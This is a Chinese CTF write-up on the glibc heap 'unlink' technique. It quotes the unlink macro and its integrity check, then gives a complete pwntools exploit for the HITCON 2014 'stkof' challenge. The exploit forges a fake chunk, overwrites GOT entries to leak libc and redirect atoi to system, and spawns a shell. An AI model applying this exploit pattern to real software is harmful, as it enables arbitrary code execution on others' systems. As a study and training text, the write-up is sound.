unlink说的是linux系统在进行空闲堆块管理的时候,进行空闲堆块的合并操作。一般发生在程序进行堆块释放之后。
(图片来自ctf wiki)
其实操作就是(学过数据结构应该很好理解)
p->fd->bk = p->bk
p->bk->fd = p->fd
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P); //这里有一个unlink的防护
else {
FD->bk = BK; \\进行了检查(核心代码)
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
assert (P->fd_nextsize->bk_nextsize == P);
assert (P->bk_nextsize->fd_nextsize == P);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
可以看出我们需要满足以下条件才能绕过检查
FD->bk = BK;
BK->fd = FD;
为了绕过检查,我们必须在全局变量区找到一个指向堆块的地方,若该指针为ptr
32位
FD = ptr-12
BK = ptr-8
64位
FD = ptr-0x18
BK = ptr-0x10
$ file hitcon-14-stkof
hitcon-14-stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32,
$ checksec hitcon-14-stkof
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序为64位,开了NX和Canary保护
alloc(0x100) # id 1
# begin
alloc(0x40) # id 2
# small chunk size in order to trigger unlink
alloc(0x80) # id 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x40) #current size
payload += p64(head + 16 - 0x18) #fd +16因为这是bss段,第二个堆块
payload += p64(head + 16 - 0x10) #bk
payload = payload.ljust(0x40, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at chunk2
payload += p64(0x40)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8
free(3)
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
puts_offset = puts_addr - libc.symbols['puts']
system_addr = puts_offset + libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send('/bin/sh')
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process("./hitcon-14-stkof")
stkof = ELF('hitcon-14-stkof')
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
def pwn():
# small chunk size in order to trigger unlink
alloc(0x100) # id 1
alloc(0x40) # id 2
alloc(0x80) # id 3
# a fake chunk at chunk[2]=head+16 who's size is 0x40
payload = p64(0) #prev_size
payload += p64(0x40) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
#payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x40, 'a')
# overwrite chunk[3]'s chunk's prev_size
# make it believe that prev chunk is at chunk[2]
payload += p64(0x40)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')
# overwrite chunk0 = free@got, chunk1=puts@got, chunk2=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts_addr: ' + hex(puts_addr))
puts_offset = puts_addr - libc.symbols['puts']
system_addr = puts_offset + libc.symbols['system']
log.success('put_offset: ' + hex(puts_offset))
log.success('system_addr: ' + hex(system_addr))
# turn atoi@got into system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
#p.send('/bin/sh')
p.interactive()
pwn()
由于unlink原理资料很多,所以本文原理介绍篇幅有限。这个程序没什么输出,很难看,分析起来很耗时间。复现题目一定要多换换参数,方法。如果本文有什么错误或者您有什么疑惑,请联系我。
http://wonderkun.cc/index.html/?p=651
https://blog.csdn.net/qq_33528164/article/details/79586902
https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/#_3